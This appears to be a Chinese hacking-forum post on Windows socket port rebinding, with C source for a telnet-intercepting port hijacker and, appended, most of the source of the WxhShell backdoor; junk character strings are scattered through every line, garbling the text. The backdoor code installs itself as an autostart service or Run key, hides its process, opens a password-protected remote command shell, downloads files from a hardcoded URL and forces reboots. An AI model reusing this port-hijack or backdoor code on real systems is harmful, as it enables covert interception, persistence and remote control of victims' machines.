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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7 ,![oY[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wmf#3"n  
?()$imb*  
  saddr.sin_family = AF_INET; e//q`?ys  
,\cO>y@  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `aw5"ns^V  
YPY'[j(p`n  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _g#v*7o2@  
~^u#Q\KE"  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 hz8Z)xjJ V  
V.k2t$@  
  这意味着什么?意味着可以进行如下的攻击: XK 09x1r  
QTNE.n<?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 aC#8%Spj  
DKGZm<G>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 9:l@8^_o  
R6KS&Ge_  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 E5y\t_H  
Z$'483<  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Ao/KB_4f*Q  
aAX(M=3  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9WH  
)]?"H  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 |{8eoF  
LBkAi(0rd  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Vg+jF!\7  
iKu~o.yy  
  #include  @aC2]  
  #include `vijd(a?v  
  #include ~Ue t)y<  
  #include    oy) 'wb~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Pd[&&!+gV  
  int main() itg PG  
  { ,Q5Z<\  
  WORD wVersionRequested; * ydU3LG7  
  DWORD ret; Vu`O%[Q/  
  WSADATA wsaData; BVt)~HZ  
  BOOL val; uWSfr(loX  
  SOCKADDR_IN saddr; /`j~r;S  
  SOCKADDR_IN scaddr; WF.y"{6>  
  int err; {hLS,Me  
  SOCKET s; )G">7cg;t  
  SOCKET sc; oNfNe^/T  
  int caddsize; c G`R\ $  
  HANDLE mt; du:%{4  
  DWORD tid;   GGY WvGE+  
  wVersionRequested = MAKEWORD( 2, 2 ); *A,h ^  
  err = WSAStartup( wVersionRequested, &wsaData ); uk(|c-_]~c  
  if ( err != 0 ) { B[I a8t  
  printf("error!WSAStartup failed!\n"); e{dYLQd  
  return -1; )|`# BC  
  } d&'}~C`~k  
  saddr.sin_family = AF_INET; #<\A[Po  
   dt efDsK  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 > $#v\8  
_Zq2 <:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @sV6g?{tI  
  saddr.sin_port = htons(23); 9z:P#=Q:  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y^SDt3Am  
  { V+M=@Pvp9  
  printf("error!socket failed!\n"); #!WD1a?L  
  return -1; AxOn~fZ!  
  } hu G]kv3F:  
  val = TRUE; 1gZW~6a}  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 *k]izWsV*  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) e uF@SS  
  { C(^IX"9 #  
  printf("error!setsockopt failed!\n"); jd&kak  
  return -1; MMI7FlfY  
  } Xyrf$R'  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^,$>z*WQ.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7|"gMw/  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Psf'#4g  
*c[X{  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) XSu9C zx&I  
  { Wn9b</ tf  
  ret=GetLastError(); S$Cht6m  
  printf("error!bind failed!\n"); &D|wc4+  
  return -1; 16p$>a<6  
  } ^h:%%\2  
  listen(s,2); v/4Bt2J  
  while(1) /puM3ZN  
  { lP!`lhc-^  
  caddsize = sizeof(scaddr); Dm"@59x  
  //接受连接请求 P7||d@VW,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); L0Fhjbc  
  if(sc!=INVALID_SOCKET) (oYM}#Q  
  { V=@M!;'<  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :d7tzYT ^  
  if(mt==NULL) M] +FTz  
  { Ier0F7]I  
  printf("Thread Creat Failed!\n"); DKjkO5R\  
  break; ZS-O,[  
  } 5F8sigr/h  
  } bOi`JJ^   
  CloseHandle(mt); {!B^nCSL  
  } aK%i=6j!  
  closesocket(s); xlqh,?'>W  
  WSACleanup(); ;n9r;$!f  
  return 0; H^N@fG<*dh  
  }   =]OG5b_-Y  
  DWORD WINAPI ClientThread(LPVOID lpParam) !Ol>![  
  { )_bR"!Z  
  SOCKET ss = (SOCKET)lpParam; `[.':"~2N  
  SOCKET sc; 7h4"5GlO0  
  unsigned char buf[4096]; v$O%U[e<  
  SOCKADDR_IN saddr; \` |*i$  
  long num; A&$oiLc  
  DWORD val; `g;`yJX<  
  DWORD ret; H)s$0Xd  
  //如果是隐藏端口应用的话,可以在此处加一些判断 L y!!+UM\  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8H>: C (h  
  saddr.sin_family = AF_INET; _pX y}D  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Z|FWQ8gZ4m  
  saddr.sin_port = htons(23); 8TK&i,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u |h T1l  
  { ^_5Nh^  
  printf("error!socket failed!\n"); .,C8ASfh  
  return -1; }}";)}C`  
  } y] Io`w(>  
  val = 100; 24TQl<H{  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A.!V*1h{  
  { L{hP&8$k  
  ret = GetLastError(); 7>g^OE f  
  return -1; PD$g W`V  
  } PXZ ZPW/  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d$uh .?F5  
  { dv+)U9at  
  ret = GetLastError(); o;+J3\  
  return -1; MLL4nkO,`  
  } M>CW(X  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ddDl~&}o  
  { 7Ca+Pe}/n,  
  printf("error!socket connect failed!\n"); *}Al0\q0M  
  closesocket(sc); g4BEo'  
  closesocket(ss); AwhXCq|k  
  return -1; `7|\Gqy  
  } 'V reO52  
  while(1) \BT8-}  
  { ZiBTe,;  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 DK/xHIv8-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +H[G D!  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 s2*^ PG  
  num = recv(ss,buf,4096,0); &ACM:&Ob  
  if(num>0) N798("  
  send(sc,buf,num,0); [@U2a$k+d  
  else if(num==0) vHY."$|H  
  break; 6.z8!4fpl  
  num = recv(sc,buf,4096,0); e}u# :ysj  
  if(num>0) \0'7p-T6  
  send(ss,buf,num,0); zV(F9}^  
  else if(num==0) /dU-$}>ZI  
  break; 69U[kW&  
  } q M( n]{H  
  closesocket(ss); k%iZ..  
  closesocket(sc); C:77~f-+rQ  
  return 0 ; 9/rX%  
  } X\?e=rUfn  
-5Qsc/ s&  
(UDR=7w)  
========================================================== $7{|  
;><9R@0  
下边附上一个代码,,WXhSHELL 6Q&R,"!$p  
U*G9fpVy  
========================================================== [vuqH:Ln  
.JNU3%s  
#include "stdafx.h" fmDU  
fqaysy  
#include <stdio.h> 5>J{JW|  
#include <string.h> A^PCI*SN[  
#include <windows.h> CD\k.  
#include <winsock2.h> ]XX8l:+  
#include <winsvc.h> BJgg-z{Y  
#include <urlmon.h> YYrXLt:  
;dt&* ]wA  
#pragma comment (lib, "Ws2_32.lib") _y Q*  
#pragma comment (lib, "urlmon.lib") Pdc- 3  
p?OwcMT]M  
#define MAX_USER   100 // 最大客户端连接数 WN?1J4H  
#define BUF_SOCK   200 // sock buffer :eQ?gM!,  
#define KEY_BUFF   255 // 输入 buffer >b>3M'  
8U8l 5r  
#define REBOOT     0   // 重启 |];s[^$#  
#define SHUTDOWN   1   // 关机 -1ke3  
a}3sG_(Y  
#define DEF_PORT   5000 // 监听端口 ipB*]B F[  
Las4ux[_  
#define REG_LEN     16   // 注册表键长度 B;A^5~b  
#define SVC_LEN     80   // NT服务名长度 $O*rxQ}  
`nA_WS  
// 从dll定义API U88-K1G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); YYDLFt r2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >|jSd2_p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <r (Y:2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sy+o{] N  
r40#-A$  
// wxhshell配置信息 \S(:O8_"68  
struct WSCFG { HFD5* Z~M  
  int ws_port;         // 监听端口 cyq]-B  
  char ws_passstr[REG_LEN]; // 口令 $ig%YB  
  int ws_autoins;       // 安装标记, 1=yes 0=no . W{\wk n  
  char ws_regname[REG_LEN]; // 注册表键名 .d:sQ\k~=  
  char ws_svcname[REG_LEN]; // 服务名 B mq7w,L.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 " &B/v"nj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,fQc0gM=[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lc/q0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {6YLiQ*_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Yr@)W~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?pdvFM  
7bioLE  
}; Ug=8:a(U.  
t?p[w&@M2  
// default Wxhshell configuration KQ<pQkhv  
struct WSCFG wscfg={DEF_PORT, ,?;q$Xoi  
    "xuhuanlingzhe", riqvv1Nce  
    1, 7_ g}t!b`  
    "Wxhshell", wrq0fHwM  
    "Wxhshell", D T^3K5  
            "WxhShell Service", Ilvz @=  
    "Wrsky Windows CmdShell Service", oXG,8NOdC  
    "Please Input Your Password: ", %of#VSk  
  1, -R 4 t  
  "http://www.wrsky.com/wxhshell.exe", ;L.@4b[lP  
  "Wxhshell.exe" bq3G3oAyG  
    }; :UmY|=v?t  
iJ_FJ[ U  
// 消息定义模块 =/MAKi}g  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !n4p*<Y6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kQXtO)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gio'_X  
char *msg_ws_ext="\n\rExit."; ^YzFEu$  
char *msg_ws_end="\n\rQuit."; 6dO )]  
char *msg_ws_boot="\n\rReboot..."; kKnz F  
char *msg_ws_poff="\n\rShutdown..."; YK#bzu ,!  
char *msg_ws_down="\n\rSave to "; }?xu/C  
1,fjdd8OM;  
char *msg_ws_err="\n\rErr!"; afRUBjs  
char *msg_ws_ok="\n\rOK!"; .3k"1I '\  
_@0>y MZ^  
char ExeFile[MAX_PATH]; R*I{?+  
int nUser = 0; l+S08IZ  
HANDLE handles[MAX_USER]; jJ-j   
int OsIsNt; b@@`2O3"  
6R% I)  
SERVICE_STATUS       serviceStatus; X_XeI!,b  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; IGs!SXclCs  
C,:3z  
// 函数声明 Oa=0d;_  
int Install(void); o|G.tBpKg  
int Uninstall(void); eX$P k:  
int DownloadFile(char *sURL, SOCKET wsh); `-S6g^Y  
int Boot(int flag); 0%.l|~CE&  
void HideProc(void); ZK4/o  
int GetOsVer(void); jvn:W{'Q  
int Wxhshell(SOCKET wsl); . Rxz;-VA  
void TalkWithClient(void *cs); FCU~*c8Cs  
int CmdShell(SOCKET sock); dL5u-<y&  
int StartFromService(void); ; 1K[N0xE  
int StartWxhshell(LPSTR lpCmdLine); 'bj$ZM9  
OpmI" 4{+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8E{<t}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @%@uZqQ4  
;cIs$  
// 数据结构和表定义 ;Ad$Q9)EE  
SERVICE_TABLE_ENTRY DispatchTable[] = bJ~]nj 3  
{ /m%Y.:g  
{wscfg.ws_svcname, NTServiceMain}, 1cWUPVQ  
{NULL, NULL} jLc4D'  
}; XPE{]4 g  
*/ZrZ^?o  
// 自我安装 U.UN=uv_  
int Install(void) 4' bup h1(  
{ y)?Sn  
  char svExeFile[MAX_PATH]; D OiL3i"H  
  HKEY key; "Q;n-fqf  
  strcpy(svExeFile,ExeFile); N8;/Zd;^  
rmutw~nHD  
// 如果是win9x系统,修改注册表设为自启动 !q!.OQ  
if(!OsIsNt) { 1t/#ZT!X/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mjG-A8y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); * 3mF.^  
  RegCloseKey(key); S{aK\>>H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MDa 4U@Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dN J2pfvv  
  RegCloseKey(key); h{I)^8,M  
  return 0; DU#6%8~  
    } &^^zm9{  
  } U bT7  
} #WlIH7J8Tc  
else { k2muHKBlk  
n%? bMDS  
// 如果是NT以上系统,安装为系统服务 HkFoyy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !Z2?dhS  
if (schSCManager!=0) :Zl@4}  
{ `qp[x%7^  
  SC_HANDLE schService = CreateService sEq_K#n{  
  ( Im i)YC  
  schSCManager, 7*]O]6rP  
  wscfg.ws_svcname, ;muxIr`?  
  wscfg.ws_svcdisp, , }O>,AU  
  SERVICE_ALL_ACCESS, xpt*S~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8W Mhe=[  
  SERVICE_AUTO_START, V~` ?J6  
  SERVICE_ERROR_NORMAL, <[Ae 0UK  
  svExeFile,  RSXYz8{  
  NULL, yZ=wT,Y  
  NULL, Va>~7  
  NULL, _oxhS!.*  
  NULL, }8Tr M0q8  
  NULL TyVn5XHl^  
  ); IGEs1  
  if (schService!=0) U~QIO O  
  { 8R}CvzI  
  CloseServiceHandle(schService); NL%5'8F>,  
  CloseServiceHandle(schSCManager); FP=%e]vJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sA=WU(4^  
  strcat(svExeFile,wscfg.ws_svcname); =b2/g [  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #Q}`kFB`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4% )I[-sH  
  RegCloseKey(key); )J#7:s]eo  
  return 0; 0L1NZY^!  
    } oF[l<OY4  
  } O` R@6KG  
  CloseServiceHandle(schSCManager); |GJSAs"L@  
} ={y Mk  
} @w|'ip5@  
dBkw.VO W  
return 1; u*0Ck*pZ  
} OI</o0Ca  
oHH-joYnn  
// 自我卸载 jFfuT9oId  
int Uninstall(void) )e`$'y@L$  
{ Xl^=&!S>me  
  HKEY key; +x$GwX  
~p^&` FA  
if(!OsIsNt) { NrPs :`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =NxT9$V  
  RegDeleteValue(key,wscfg.ws_regname); zsnXPRF  
  RegCloseKey(key); y6tzmyg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _Vr>/f  
  RegDeleteValue(key,wscfg.ws_regname); &|'k)6Rx  
  RegCloseKey(key); qg6283'?  
  return 0; |%.V{vgP7  
  } .jW+\mIX  
} ` MtI>x c  
} ;(AVZxCM  
else { ~Qjf-|  
7:'7EqM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V'y,{YpP  
if (schSCManager!=0) nS'hdeoW  
{ @ *'$QD,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~ _R 8; b  
  if (schService!=0) 0w[#`  
  { FY  U)sQ  
  if(DeleteService(schService)!=0) { ,tBb$T)7<  
  CloseServiceHandle(schService); c+P.o.k;  
  CloseServiceHandle(schSCManager); K1]m:Y<  
  return 0; Obwj=_+upd  
  } -)_"7}|u5  
  CloseServiceHandle(schService); _GSl}\  
  } ,x#5.Koz  
  CloseServiceHandle(schSCManager); YJi C}.4Q  
} ]/>(C76  
} i Qs7L y"  
#5*|/LD  
return 1; J_) .Hd  
} d 2f   
5{ ?J5  
// 从指定url下载文件 {z:aZ]QhKc  
int DownloadFile(char *sURL, SOCKET wsh) T;jy2|mLo  
{ *V}T}nK7  
  HRESULT hr; M{:}.H<a  
char seps[]= "/"; _)AX/%^%  
char *token; ##Jg>HL'  
char *file; AP*Z0OFE  
char myURL[MAX_PATH]; %DH2]B? 0  
char myFILE[MAX_PATH]; e%_2n=p~)%  
RQ}0f5~t  
strcpy(myURL,sURL); 6Ap-J~4  
  token=strtok(myURL,seps); kOi@QLdN  
  while(token!=NULL) BVAxeXO  
  { (/6~*<ZGT  
    file=token; q^5j&jx Vl  
  token=strtok(NULL,seps); tB-0wD=PR  
  } JRfG]u6GU  
CHxu%- g  
GetCurrentDirectory(MAX_PATH,myFILE); ! *Snx  
strcat(myFILE, "\\");  vV5dW  
strcat(myFILE, file); :5`=9 _|  
  send(wsh,myFILE,strlen(myFILE),0); !>gi9z,  
send(wsh,"...",3,0); J${'?!N  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); };{V]f 0  
  if(hr==S_OK) WBcnE( zF  
return 0; h+ixl#:  
else x93t.5E6  
return 1; VHwAO:+-  
_`'VOY`o  
} Wx~N1+  
/{h@A~<96  
// 系统电源模块 /1A3 Sw  
int Boot(int flag) NrQGoAOw  
{ 3.[ fTrzJ  
  HANDLE hToken; J0xV\O !e  
  TOKEN_PRIVILEGES tkp; )?es3Ehqq  
jhU'UAn  
  if(OsIsNt) { Vqr#%. N  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `x b\)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r57CyO  
    tkp.PrivilegeCount = 1; fGK=lT$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >iE/t$%1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T["(wPrt  
if(flag==REBOOT) { 8n_!WDD  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 954!ED|F(  
  return 0; wrtJ8O(  
} -B+Pl*  
else { ~cC =DeX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) SxyXz8+e[  
  return 0; ^t X}5i`P  
} }2@Aj  
  } V5ve  
  else { ST'eJ5P7!5  
if(flag==REBOOT) { ^ud-N;]MKs  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) LmCr[9/  
  return 0; =EE>QM  
} K=S-p3\g  
else { J3 Y-d7=|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k :KN32%  
  return 0;  3W& f^*  
} #Tm^$\*h\]  
} }q8 |t3  
"$@>n(w  
return 1; Q&Q$;s3|Y  
} TU-aL  
. #+N?D<  
// win9x进程隐藏模块 ;^fGQ]`4  
void HideProc(void) j.}@9  
{ |_fmbG  
hrT!S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); hh%f mc  
  if ( hKernel != NULL ) pK_n}QW  
  { Q:nBx[%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0j@nOj(3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >d/DXv 3  
    FreeLibrary(hKernel); aHhr_.>X  
  } & B CA  
">-J+ST%  
return; */8b)I}yY  
} OD;-0Bj  
PIo8mf/  
// 获取操作系统版本 p= fj1*  
int GetOsVer(void) i\h"N K  
{ HV*D l$  
  OSVERSIONINFO winfo; ,}8|[)"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )\xDo<@  
  GetVersionEx(&winfo); >0^oC[ B  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \:7G1_o  
  return 1; cu~dbv6H  
  else IF>dsAAI<  
  return 0; *F4"mr|\  
} yX`5x^wVw  
"xr=:[n[  
// 客户端句柄模块 -XuRQ_)nG  
int Wxhshell(SOCKET wsl) .zm/GtOV@  
{ M/Twtq-`H  
  SOCKET wsh; ON.1'Wk?  
  struct sockaddr_in client; !L|}/u3v  
  DWORD myID; lla?;^,  
LtJl\m.th  
  while(nUser<MAX_USER) B\<;e  
{ {hP_"nN#  
  int nSize=sizeof(client); t@_MWF  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =qg;K'M5  
  if(wsh==INVALID_SOCKET) return 1; U3oMY{{E J  
ff{ L=uj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T(@J]Y-  
if(handles[nUser]==0) w# iezo. 0  
  closesocket(wsh); J>o%6D  
else :" ta#g'  
  nUser++; %I`%N2ss  
  } ?QbxC,& i  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0Z11V9Jk  
@N(*1,s2  
  return 0; NQ9/,M  
} cN?}s0  
M15jwR!:M  
// 关闭 socket ^9jrI  
void CloseIt(SOCKET wsh) <SPT2NyX  
{ G (Ky7S Z  
closesocket(wsh); ! 0}SZ  
nUser--; NKyKsu  
ExitThread(0); "ZHA.M]`  
} h<1pGQV  
F{'lF^Dc  
// 客户端请求句柄 NKX,[o1  
void TalkWithClient(void *cs) be->ofUYgs  
{ $FJf8u`  
]cKxYX)J  
  SOCKET wsh=(SOCKET)cs; '{-7%>`bn  
  char pwd[SVC_LEN]; ;A\SbLM  
  char cmd[KEY_BUFF]; Y8s.Q  
char chr[1]; K{vn[}  
int i,j; bE6:pGr  
W Z_yaG$U  
  while (nUser < MAX_USER) { &{gD(QG  
l(B(gPvU  
if(wscfg.ws_passstr) {  mS]&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u]<_6;_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +[lv `tr  
  //ZeroMemory(pwd,KEY_BUFF); uE;bNs'  
      i=0; o<\u Hr3  
  while(i<SVC_LEN) { ua8Burl7  
)%(V.?eW  
  // 设置超时 Q7{/ T0  
  fd_set FdRead; 7_ G$&  
  struct timeval TimeOut; O8mmS!  
  FD_ZERO(&FdRead); O]1aez[  
  FD_SET(wsh,&FdRead); -Uj3?W  
  TimeOut.tv_sec=8; )8_ x  
  TimeOut.tv_usec=0; Q)s`~G({P  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); BYKONZu  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); JNx;/6'd,  
3~ptD5@WF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nf2[hx@=U  
  pwd=chr[0]; $xK*TJ(k  
  if(chr[0]==0xd || chr[0]==0xa) { =-dg]Ol8  
  pwd=0; m\DI6O"u'  
  break; \Ctl(uj  
  } UXdnN;0  
  i++; F, 39'<N[  
    } ,ozgnhZY  
jqJ't)N  
  // 如果是非法用户,关闭 socket #Ave r]eK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H[e=^JuD  
} n#dvBK0M  
t/KH`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ETMF.-P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u]$e@Vw.  
!\hUjM+(}  
while(1) { bMvHAtp  
j96\({;k  
  ZeroMemory(cmd,KEY_BUFF); ,?KN;~t#vz  
+>BD^[^^  
      // 自动支持客户端 telnet标准   MRb6O!$`C  
  j=0; h3YWqSj  
  while(j<KEY_BUFF) { ?H0"*8C?Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Rch?@O#J  
  cmd[j]=chr[0]; _9 B ^@~  
  if(chr[0]==0xa || chr[0]==0xd) { JO=kfWW  
  cmd[j]=0; $%"?0S  
  break; )r`F}_CEL  
  } 8w\ZY>d   
  j++; of<(4<T  
    } %-Oo9 2tP  
p O O4fc  
  // 下载文件  C4.g}q  
  if(strstr(cmd,"http://")) { sqE? U*8.-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \ 0J &^C  
  if(DownloadFile(cmd,wsh)) 8Rric[v  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?Mj@;O9>'  
  else .ZVADVg\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C'S&  
  } DRy,n)U&  
  else {  jT$  
,+U,(P5>s  
    switch(cmd[0]) { 2)4oe  
  ELgq#z  
  // 帮助 CS\T@)@t  
  case '?': { ^,sKj-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '(-SuaH49  
    break; )W0z  
  } -8%[ 7Z]  
  // 安装 S @tpd'  
  case 'i': { haoQr)S  
    if(Install()) iRsK; )<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '^ob3N/Y [  
    else xL#UMvZ>;h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +/|t8zFWs  
    break; V'm4DR#M  
    }  }0f"SWO>  
  // 卸载 s+7#TdhA  
  case 'r': { u~7 ,v  
    if(Uninstall()) ~Kll.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )|Md"r_B  
    else =H)"t:xE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  X0&[cyP!  
    break; t{g7 :A  
    } >21f%Z  
  // 显示 wxhshell 所在路径 n~C!PXE  
  case 'p': { "qxu9Hg!  
    char svExeFile[MAX_PATH]; ;RW0 24  
    strcpy(svExeFile,"\n\r"); N~0~1 WQn  
      strcat(svExeFile,ExeFile); KL^hYjC  
        send(wsh,svExeFile,strlen(svExeFile),0); '\4 @  
    break; 0sGAC  
    } G Z~W#*|V  
  // 重启 +S C;@'  
  case 'b': { [W,}&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pdEUDuX  
    if(Boot(REBOOT)) "+k^8ki  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tZ*z.3\<  
    else { aPH6R<G  
    closesocket(wsh); o3kVcX^  
    ExitThread(0); e>~7RN  
    } Puodsd  
    break; @p$$BUb  
    } uYy&<_r  
  // 关机 nAY'1!Oi  
  case 'd': { l 4e`-7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M~"93Q`f^  
